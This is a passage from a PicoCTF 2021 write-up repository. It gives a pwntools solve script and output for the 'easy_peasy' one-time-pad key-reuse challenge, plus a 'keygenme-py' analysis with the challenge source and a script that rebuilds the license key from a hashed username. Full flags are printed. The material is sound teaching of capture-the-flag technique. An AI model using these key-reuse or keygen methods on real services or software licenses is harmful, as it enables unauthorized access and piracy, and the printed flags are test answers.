{flag}') 153 | ``` 154 | And finally the flag is decrypted. This is all put together in [solve.py](https://github.com/xnomas/PicoCTF-2021-Writeups/easy_peasy/solve.py). Then when we run it: 155 | ```py 156 | python3 solve.py 157 | [+] Opening connection to mercury.picoctf.net on port 58913: Done 158 | b'******************Welcome to our OTP implementation!******************\n' 159 | b'This is the encrypted flag!\n' 160 | b'51124f4d194969633e4b52026f4c07513a6f4d05516e1e50536c4954066a1c57' 161 | encoded input: b'23666b6f3a3c1a111d3971771d397122181d3927731d3925231d3924241d3924' 162 | unhexed input: b'#fko:<\x1a\x11\x1d9qw\x1d9q"\x18\x1d9\'s\x1d9%#\x1d9$$\x1d9$' 163 | -------------------------------------------------- 164 | Working on the decode 165 | -------------------------------------------------- 166 | [+] Found key: [98, 39, 42, 46, 123, 125, 91, 80, 92, 120, 48, 54, 92, 120, 48, 99, 89, 92, 120, 102, 50, 92, 120, 100, 98, 92, 120, 101, 101, 92, 120, 101] 167 | flag: 35ecb423b3b43472c35cc2f41011c6d2 168 | ``` 169 | Now just wrap the output in `picoCTF{35ecb423b3b43472c35cc2f41011c6d2}`. -------------------------------------------------------------------------------- /easy_peasy/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | import binascii 4 | 5 | offset = 50000 - 32 6 | 7 | p = remote('mercury.picoctf.net', 58913) 8 | 9 | print(p.recvline()) 10 | print(p.recvline()) 11 | encrypted_flag = p.recvline().strip() 12 | 13 | print(encrypted_flag) 14 | 15 | p.recvuntil('?') 16 | p.sendline('A'*offset) 17 | 18 | p.recvuntil('?') 19 | 20 | p.sendline('A'*32) 21 | 22 | p.recvline() 23 | 24 | encoded = p.recvline().strip() 25 | 26 | print(f'encoded input: {encoded}') 27 | 28 | encoded = binascii.unhexlify(encoded) 29 | 30 | print(f'unhexed input: {encoded}') 31 | 32 | print('--------------------------------------------------\nWorking on the decode\n--------------------------------------------------') 33 | 34 | message = 'A'*32 35 | 36 | key = [] 37 | 38 | for e in range(len(encoded)): 39 | key.append( ord(message[e])^encoded[e] ) 40 | 41 | print(f'[+] Found key: {key}') 42 | 43 | decoded_flag = [] 44 | 45 | encrypted_flag = binascii.unhexlify(encrypted_flag) 46 | 47 | for i in range(32): 48 | decoded_flag.append( chr(key[i]^encrypted_flag[i]) ) 49 | 50 | flag = ''.join(decoded_flag) 51 | 52 | print(f'flag: {flag}') -------------------------------------------------------------------------------- /keygenme-py/README.md: -------------------------------------------------------------------------------- 1 | # keygenme-py 2 | 3 | AUTHOR: SYREAL 4 | 5 | **Disclaimer! I do not own any of the challenge files** 6 | 7 | ## Looking at the keygenme-trial.py 8 | 9 | Instead of running the script right away, it is best practice to read the source code, right? 10 | ```py 11 | # GLOBALS --v 12 | arcane_loop_trial = True 13 | jump_into_full = False 14 | full_version_code = "" 15 | 16 | username_trial = "FREEMAN" 17 | bUsername_trial = b"FREEMAN" 18 | 19 | key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_" 20 | key_part_dynamic1_trial = "xxxxxxxx" 21 | key_part_static2_trial = "}" 22 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial 23 | ``` 24 | These are all the global variables. What is really important to us though? 25 | ```py 26 | username_trial = "FREEMAN" 27 | bUsername_trial = b"FREEMAN" 28 | ``` 29 | This will be obvious later, next ofcourse the flag! Or here it is called the `key`. It is comprised of two static parts, and a dynamic part: 30 | ```py 31 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial 32 | ``` 33 | Great... maybe we can have a look at how the dynamic part is generated? 34 | 35 | ### Dynamic key 36 | 37 | To check the validity of the dynamic key, the following function is used (I split it): 38 | ```py 39 | def check_key(key, username_trial): 40 | 41 | global key_full_template_trial 42 | 43 | if len(key) != len(key_full_template_trial): 44 | return False 45 | else: 46 | # Check static base key part --v 47 | i = 0 48 | for c in key_part_static1_trial: 49 | if key[i] != c: 50 | return False 51 | 52 | i += 1 53 | ``` 54 | First, check if the key is even long enough! After that check if we have the 1st static part correct (we can copy and paste, right?). Now the iterator `i` is at our dynamic part, and here is the `if tree` that checks our dynamic key: 55 | ```py 56 | if key[i] != hashlib.sha256(username_trial).hexdigest()[4]: 57 | return False 58 | else: 59 | i += 1 60 | 61 | if key[i] != hashlib.sha256(username_trial).hexdigest()[5]: 62 | return False 63 | else: 64 | i += 1 65 | 66 | if key[i] != hashlib.sha256(username_trial).hexdigest()[3]: 67 | return False 68 | else: 69 | i += 1 70 | 71 | if key[i] != hashlib.sha256(username_trial).hexdigest()[6]: 72 | return False 73 | else: 74 | i += 1 75 | 76 | if key[i] != hashlib.sha256(username_trial).hexdigest()[2]: 77 | return False 78 | else: 79 | i += 1 80 | 81 | if key[i] != hashlib.sha256(username_trial).hexdigest()[7]: 82 | return False 83 | else: 84 | i += 1 85 | 86 | if key[i] != hashlib.sha256(username_trial).hexdigest()[1]: 87 | return False 88 | else: 89 | i += 1 90 | 91 | if key[i] != hashlib.sha256(username_trial).hexdigest()[8]: 92 | return False 93 | ``` 94 | So notice the following, we have a bunch of indexes: `4,5,3,6,2,7,1,8`. How do we use these? Well first a `sha256` hash of the username is `FREEMAN` calculated and then we pick the corresponding character. This is pretty easy to script. 95 | 96 | ## solve.py 97 | 98 | ```py 99 | import hashlib 100 | import base64 101 | 102 | 103 | key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_" 104 | key_part_dynamic1_trial = "xxxxxxxx" 105 | key_part_static2_trial = "}" 106 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial 107 | 108 | username_trial = b"FREEMAN" 109 | 110 | potential_dynamic_key = "" 111 | 112 | # where our input begins: 113 | offset = 23 114 | 115 | # positions in username_trial 116 | positions = [4,5,3,6,2,7,1,8] 117 | 118 | for p in positions: 119 | potential_dynamic_key += hashlib.sha256(username_trial).hexdigest()[p] 120 | 121 | key = key_part_static1_trial + potential_dynamic_key + key_part_static2_trial 122 | print(key) 123 | print(len(key)) 124 | ``` 125 | We have a hardocded offset, out positions and then we just calculate the hashes one by one, and add to the key. After running the script, here is the result: 126 | ``` 127 | picoCTF{1n_7h3_|<3y_of_0d208392} 128 | 32 129 | ``` 130 | Great! -------------------------------------------------------------------------------- /keygenme-py/keygenme-trial.py: -------------------------------------------------------------------------------- 1 | #============================================================================# 2 | #============================ARCANE CALCULATOR===============================# 3 | #============================================================================# 4 | 5 | import hashlib 6 | from cryptography.fernet import Fernet 7 | import base64 8 | 9 | 10 | 11 | # GLOBALS --v 12 | arcane_loop_trial = True 13 | jump_into_full = False 14 | full_version_code = "" 15 | 16 | username_trial = "FREEMAN" 17 | bUsername_trial = b"FREEMAN" 18 | 19 | key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_" 20 | key_part_dynamic1_trial = "xxxxxxxx" 21 | key_part_static2_trial = "}" 22 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial 23 | 24 | star_db_trial = { 25 | "Alpha Centauri": 4.38, 26 | "Barnard's Star": 5.95, 27 | "Luhman 16": 6.57, 28 | "WISE 0855-0714": 7.17, 29 | "Wolf 359": 7.78, 30 | "Lalande 21185": 8.29, 31 | "UV Ceti": 8.58, 32 | "Sirius": 8.59, 33 | "Ross 154": 9.69, 34 | "Yin Sector CL-Y d127": 9.86, 35 | "Duamta": 9.88, 36 | "Ross 248": 10.37, 37 | "WISE 1506+7027": 10.52, 38 | "Epsilon Eridani": 10.52, 39 | "Lacaille 9352": 10.69, 40 | "Ross 128": 10.94, 41 | "EZ Aquarii": 11.10, 42 | "61 Cygni": 11.37, 43 | "Procyon": 11.41, 44 | "Struve 2398": 11.64, 45 | "Groombridge 34": 11.73, 46 | "Epsilon Indi": 11.80, 47 | "SPF-LF 1": 11.82, 48 | "Tau Ceti": 11.94, 49 | "YZ Ceti": 12.07, 50 | "WISE 0350-5658": 12.09, 51 | "Luyten's Star": 12.39, 52 | "Teegarden's Star": 12.43, 53 | "Kapteyn's Star": 12.76, 54 | "Talta": 12.83, 55 | "Lacaille 8760": 12.88 56 | } 57 | 58 | 59 | def intro_trial(): 60 | print("\n===============================================\n\ 61 | Welcome to the Arcane Calculator, " + username_trial + "!\n") 62 | print("This is the trial version of Arcane Calculator.") 63 | print("The full version may be purchased in person near\n\ 64 | the galactic center of the Milky Way galaxy. \n\ 65 | Available while supplies last!\n\ 66 | =====================================================\n\n") 67 | 68 | 69 | def menu_trial(): 70 | print("___Arcane Calculator___\n\n\ 71 | Menu:\n\ 72 | (a) Estimate Astral Projection Mana Burn\n\ 73 | (b) [LOCKED] Estimate Astral Slingshot Approach Vector\n\ 74 | (c) Enter License Key\n\ 75 | (d) Exit Arcane Calculator") 76 | 77 | choice = input("What would you like to do, "+ username_trial +" (a/b/c/d)? ") 78 | 79 | if not validate_choice(choice): 80 | print("\n\nInvalid choice!\n\n") 81 | return 82 | 83 | if choice == "a": 84 | estimate_burn() 85 | elif choice == "b": 86 | locked_estimate_vector() 87 | elif choice == "c": 88 | enter_license() 89 | elif choice == "d": 90 | global arcane_loop_trial 91 | arcane_loop_trial = False 92 | print("Bye!") 93 | else: 94 | print("That choice is not valid. Please enter a single, valid \ 95 | lowercase letter choice (a/b/c/d).") 96 | 97 | 98 | def validate_choice(menu_choice): 99 | if menu_choice == "a" or \ 100 | menu_choice == "b" or \ 101 | menu_choice == "c" or \ 102 | menu_choice == "d": 103 | return True 104 | else: 105 | return False 106 | 107 | 108 | def estimate_burn(): 109 | print("\n\nSOL is detected as your nearest star.") 110 | target_system = input("To which system do you want to travel? ") 111 | 112 | if target_system in star_db_trial: 113 | ly = star_db_trial[target_system] 114 | mana_cost_low = ly**2 115 | mana_cost_high = ly**3 116 | print("\n"+ target_system +" will cost between "+ str(mana_cost_low) \ 117 | +" and "+ str(mana_cost_high) +" stone(s) to project to\n\n") 118 | else: 119 | # TODO : could add option to list known stars 120 | print("\nStar not found.\n\n") 121 | 122 | 123 | def locked_estimate_vector(): 124 | print("\n\nYou must buy the full version of this software to use this \ 125 | feature!\n\n") 126 | 127 | 128 | def enter_license(): 129 | user_key = input("\nEnter your license key: ") 130 | user_key = user_key.strip() 131 | 132 | global bUsername_trial 133 | 134 | if check_key(user_key, bUsername_trial): 135 | decrypt_full_version(user_key) 136 | else: 137 | print("\nKey is NOT VALID. Check your data entry.\n\n") 138 | 139 | 140 | def check_key(key, username_trial): 141 | 142 | global key_full_template_trial 143 | 144 | if len(key) != len(key_full_template_trial): 145 | return False 146 | else: 147 | # Check static base key part --v 148 | i = 0 149 | for c in key_part_static1_trial: 150 | if key[i] != c: 151 | return False 152 | 153 | i += 1 154 | 155 | # TODO : test performance on toolbox container 156 | # Check dynamic part --v 157 | if key[i] != hashlib.sha256(username_trial).hexdigest()[4]: 158 | return False 159 | else: 160 | i += 1 161 | 162 | if key[i] != hashlib.sha256(username_trial).hexdigest()[5]: 163 | return False 164 | else: 165 | i += 1 166 | 167 | if key[i] != hashlib.sha256(username_trial).hexdigest()[3]: 168 | return False 169 | else: 170 | i += 1 171 | 172 | if key[i] != hashlib.sha256(username_trial).hexdigest()[6]: 173 | return False 174 | else: 175 | i += 1 176 | 177 | if key[i] != hashlib.sha256(username_trial).hexdigest()[2]: 178 | return False 179 | else: 180 | i += 1 181 | 182 | if key[i] != hashlib.sha256(username_trial).hexdigest()[7]: 183 | return False 184 | else: 185 | i += 1 186 | 187 | if key[i] != hashlib.sha256(username_trial).hexdigest()[1]: 188 | return False 189 | else: 190 | i += 1 191 | 192 | if key[i] != hashlib.sha256(username_trial).hexdigest()[8]: 193 | return False 194 | 195 | 196 | 197 | return True 198 | 199 | 200 | def decrypt_full_version(key_str): 201 | 202 | key_base64 = base64.b64encode(key_str.encode()) 203 | f = Fernet(key_base64) 204 | 205 | try: 206 | with open("keygenme.py", "w") as fout: 207 | global full_version 208 | global full_version_code 209 | full_version_code = f.decrypt(full_version) 210 | fout.write(full_version_code.decode()) 211 | global arcane_loop_trial 212 | arcane_loop_trial = False 213 | global jump_into_full 214 | jump_into_full = True 215 | print("\nFull version written to 'keygenme.py'.\n\n"+ \ 216 | "Exiting trial version...") 217 | except FileExistsError: 218 | sys.stderr.write("Full version of keygenme NOT written to disk, "+ \ 219 | "ERROR: 'keygenme.py' file already exists.\n\n"+ \ 220 | "ADVICE: If this existing file is not valid, "+ \ 221 | "you may try deleting it and entering the "+ \ 222 | "license key again. Good luck") 223 | 224 | def ui_flow(): 225 | intro_trial() 226 | while arcane_loop_trial: 227 | menu_trial() 228 | 229 | 230 | 231 | # Encrypted blob of full version 232 | full_version = \ 233 | b""" 234 | gAAAAABgT_nvdPbQsvAhvsNvjCeuMqNP4gGInWyNCirwqXlGMM4EDHMeVEIci77G1dQTtGCgsVSeUfJKzwcBldLozZ24_kcrd9fd-a81-z2KBOrI8Qv_IOhY1LqsooySaeEQMvjMqBhhLhoIDfsXBSWnEb8RPDXVzZhc_5WaNDorzw8lUMqf1vLI8bWCP97UnQZclfIa_hH-ib5hy6hXuimvny4X9-eOzEIAROHD5l-FB8r82ZfUiPKED2woAgROd1_PF9HrCN_Poi_b5D42E_-R4fTX5G6ASWexix3vtO9jXW9YqSI4mN-RMoTLcYHe6wAt89e-SnhmmVxdqXzsbx37Z0UNaEEToIaUqEWuI5hHWRx9ytb9GQLimBzBVd3ZS1vuOp4gYaxRzCy8tAR63G3QrEx3mo-XLPRm8ajHVMxlsbc5U9D11znoZKEYZd2zTjTPGxaHwXaQA7hw4ZWHEEQIAUaBtAJtB_Ua0ERrop1xG1P6U-zlAWKzzymqYIV88_yHqChyWta8291J-QTy5sYYsbWygg65G5Ea4G30Eu5I6izqanJMhMFTLcBSKx_b0HBokRvim65ywa8tCh4iYZFHDsOqr2kDgyq2pZuvSRRTEHaPJVct68QScVLmWlBXSIM36ng4izANXH1qWTMxakfHQ52MRKmKhRV3sVUHGgHqdtQWJPnIeKlnWw6bHUtGxAvCQLTgwO6HR3D5EAiHMB6qu5yiAxRJMWophLMIZNN0alYV2VX0Amvd54WqAW9MnO0q1sunAyao7l1JJe6bGYIeKSYwyRiQVKtQ2nOkWXuJCRPY3PsfcT9OAkfKRCowlGF_hPmgCpB3izpUNOAD8HuNrkqKIUhROAOU-WCa04rQ2ig7bETXfJJldPRQGCvHC9zzczQC-ppq1G5PWs_tjT8VwtrrOc_Nb14dGqbLkDuKdPMa09TJKhBto0kD8O0f-JO--TOl51bPSitqTT11E1ZLiRufSojQDDbpFBMTFJNzf5puj4r3JJnDERw0quqGU8IxBPR91ZfKKEjW1U44p5G5GBbHVN1JTb0j4hpQAyKbWQKs7kGIyuToTL0VKR0WBovSeOwR_O4KmDit6ncHHEBXt7FBD6BCWkmUPuiF2QfIIFW83AizJfilZ4YhIOjiBW2J3b7-CJj0Vayq8eZY_ZeDiehwErGeiuxgeH96TZVA3C9-vAnNjdSJLPGLU935tuv74HOsPln5zQCiNyhJ3JZR4BaWLyex3haa1X-XJJZLgeGAVNqtU0ByUR5nLG37tKF9POPEkTH7Z7ujMVtcH9GfK231Fm9giBurP2CQmInoyp_oyuErlBFDPH0p5F8qWx1zcgOUZBTscZPtCzrT4otRh0HCNSV0blYPwxPjvpW2Nqs-ojXjjRgMOS6prdbtTm0eiCMC0DLY9b4YY7Gt5CKYX4HM8eyaY8Z04WPCpVvqEOLTl4NSqUlWRaVEUcbCBQNdyHIFeUbDUrs9PjXa4_WMwbqMnBPzQmBzmx4KqJJZz9RCy7I0BeqP_wy0kcTV5q8SPfZPyz_WoHx65e3z0GCuxZrzN1D7rj_WLsTPp96oCkF3B9yBx81UKXgZodZrUGooEJLxglMTCwX35X_GTh2aIggPah_k8emL1_rX_psDqGlDUPMYj8Af_O1KinL9lylCtHgGYLyGInBzHMgv4ixHPqqHk56YFmsKgqWUwR8g9an8eevQwm9_KAcg6VzreQEYsCjnsGLKvEMHt7ll3QfwhHiW-GHnPWxvhk169hKVaidBXuJuHmOpsQad5eJyvywwg0Hx0cfd6cKi3RS4PQcaYBlQXw7nsQ3xDLk0s6Bv97G3MAyQ_FIi5ieHdWO1FMYW1kbZy3Zrx5muiRmoNEBaTyDVeko8rJ9aaZWEXV1gQdDVAr92bFT_tb2ZImbPc2yJxmynaRV40ZCnVuxmwLVwCq36BSLss6yz_vnUVpswWQ4qKDbFbdPAof9mkNt0fe4Vqe_MC4ZhVvWSlsJhTlMvLedsrTbp3mL2JGvBOfvxwiOGkO-XgW1F7TGMXzh8j-KbTVKHdt6xp3DRs1Uhae5hncMCaIGqq5ocTO9Id-esyaJEumEL7oR-uzYXss3z6rSOjnGDF0k0aWCCFEKMWe1zzYhZis74IsFZ7cCfV0daXkrdD7VFIgor0ifd4-DoLYxIr-eC-yLc7eVouoHHirk0PcrMC2w7SuXReCuYvMt-jcUlZBEphb9D_0IEZDsua_Rl62FwT-1wPzyZg_uGcUviq1h8Bkgh0rs4DBdheLwRg3k6ekdTzPA78bqk5qnSbSyJMD5fK4daKbplPcNFLHTMJzKSAhQeGx0Uw3NS70q_k2uLXvbaagMB5NHzM7ZzH8P5chxcT07hkNNt7dfu9_ux35z6sEIeCmQ-MqvVn4GRBK3zEF2t_PYsQw_da6lbzEiPVWIlqQUkFcmyhsL9hSFDeBkK18abEknjs3cdukrD-e9JRKdxRJxJW97gJM-btsh_5Nbf1pIz-uxQbQhBZQkHOqC4BWyLjg3xT92B-3yDmZnykvk7d8pXNHOwtXSHtBD0jCAdCzUyE9_U51p7icO8toV0sbZ9tj22tPe1DKMM5M2uMHQXCySv4oTGpTGp4xA4tD5Wo_o59zgzwlpXtKukU7cT8DS2NCBRlDW_2L6HojArs2NPeKtBm_-DIDCiSrHSYdiITZq7GaoeyAywiOiqlVNDdLy0p3lcNW_Yo4vXyzfSm8qXTfEpoAb9gPps0LbJhci1sWqNL9JJPI4yIca4r0rr9Y1wIEYuwXeyLoQD_Yn6xPRiVmuGSnco3HsIBOuDoyU3AGQOczn_QZ_TvyIJYdS8op8UJFRMD7W7lJWFe-ivoFdUlAjMqyDCUO_PbAeJYaE0ekh7xh3yudd7dMmD9LcTOi_LQoEfYjPXIEQPaC7D_SDYw8AbBJ51FyKSif7n_fW6_PU0U6vfYZwbPWU5tp0nNjTuaPxI_88tyuZC_2gW3YgAIWs4vo0zWBk9AvdgfxNwFiIdp4dugGGg0-dJp_SW_XzgGv1ALkaMbxiOYSK0sE8ZXb3_5zA3vUn2OsKpCq6ROt4poLIFce_Cot1RSU3FUYie2V4GT7ChUrq-vJfTPVlixee1gSPE7TnlyAm_kANyQ3_VFgIyEiEfGBLb_mlIWbVCO9e9QC6_SDKbc8UvuXodJ9HcDe-yWTjV7V-7s7-Qhp_WSIBVwex8tmyCo5W69An5eOrPRwK5NfCFp0uJClvim9qfLnVDXc5QQmajx61VuwnCVZg82iWxMh_Jms-2EiaCEz1oyB87F_awJ413I_kT8Wa6OW1ZhadZkDS5IVEZTNYwIxeIaVUoZLSBESHwwwzD7zsR02pGlJFJcWcvdI96wtCcx1os6g_Lq7tpTwd33zCA-RgYZWTHKPnFSi1z0h-RsyCIqbBmGx2eswpfJbKRKi_QFQMw60w7O41FWQL8ZluxBOSd3kSP5xyVJC7bnDfE3g_OnBdU5MFQGl6uFaIxr1lUt98GeD6Gt2X1A-Hi1zOF4iaxCbb9h9FECqUrwGlwGo_TY_W0ekFM1UXFVVcUwsCwm5hL_wC7hCcN5Ad4dWx9EAL4NX3_N8n9qC3hW_l34Cq5V4Xzm1O7T7py7XF_CZ_Xd_GDdU89f2hrV1IngHqey_fc9lTroIhoLeZ3v2nj7_9osKs7qLHa_QwnwQ5jH0LxhAOGS9FHLBGdn3tXnRyzglLLOTP3XR1qeoSOEqz4Uk13qfI3GRiHacUnyyyT2OHdi4IsrxlxzGNEjBMDws9FPjXH4Xv_R0iSeD77JBIKqgd0n0hxaZRu8lOUhmnJFHpe6OrnmK8nB4A-yHuI5z37zC3KJDgKxnBBs8zfAOP0-g== 235 | """ 236 | 237 | 238 | 239 | # Enter main loop 240 | ui_flow() 241 | 242 | if jump_into_full: 243 | exec(full_version_code) 244 | -------------------------------------------------------------------------------- /keygenme-py/solve.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import base64 3 | 4 | 5 | key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_" 6 | key_part_dynamic1_trial = "xxxxxxxx" 7 | key_part_static2_trial = "}" 8 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial 9 | 10 | username_trial = b"FREEMAN" 11 | 12 | potential_dynamic_key = "" 13 | 14 | # where our input begins: 15 | offset = 23 16 | 17 | # positions in username_trial 18 | positions = [4,5,3,6,2,7,1,8] 19 | 20 | for p in positions: 21 | potential_dynamic_key += hashlib.sha256(username_trial).hexdigest()[p] 22 | 23 | key = key_part_static1_trial + potential_dynamic_key + key_part_static2_trial 24 | print(key) 25 | print(len(key)) -------------------------------------------------------------------------------- /me.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/me.png --------------------------------------------------------------------------------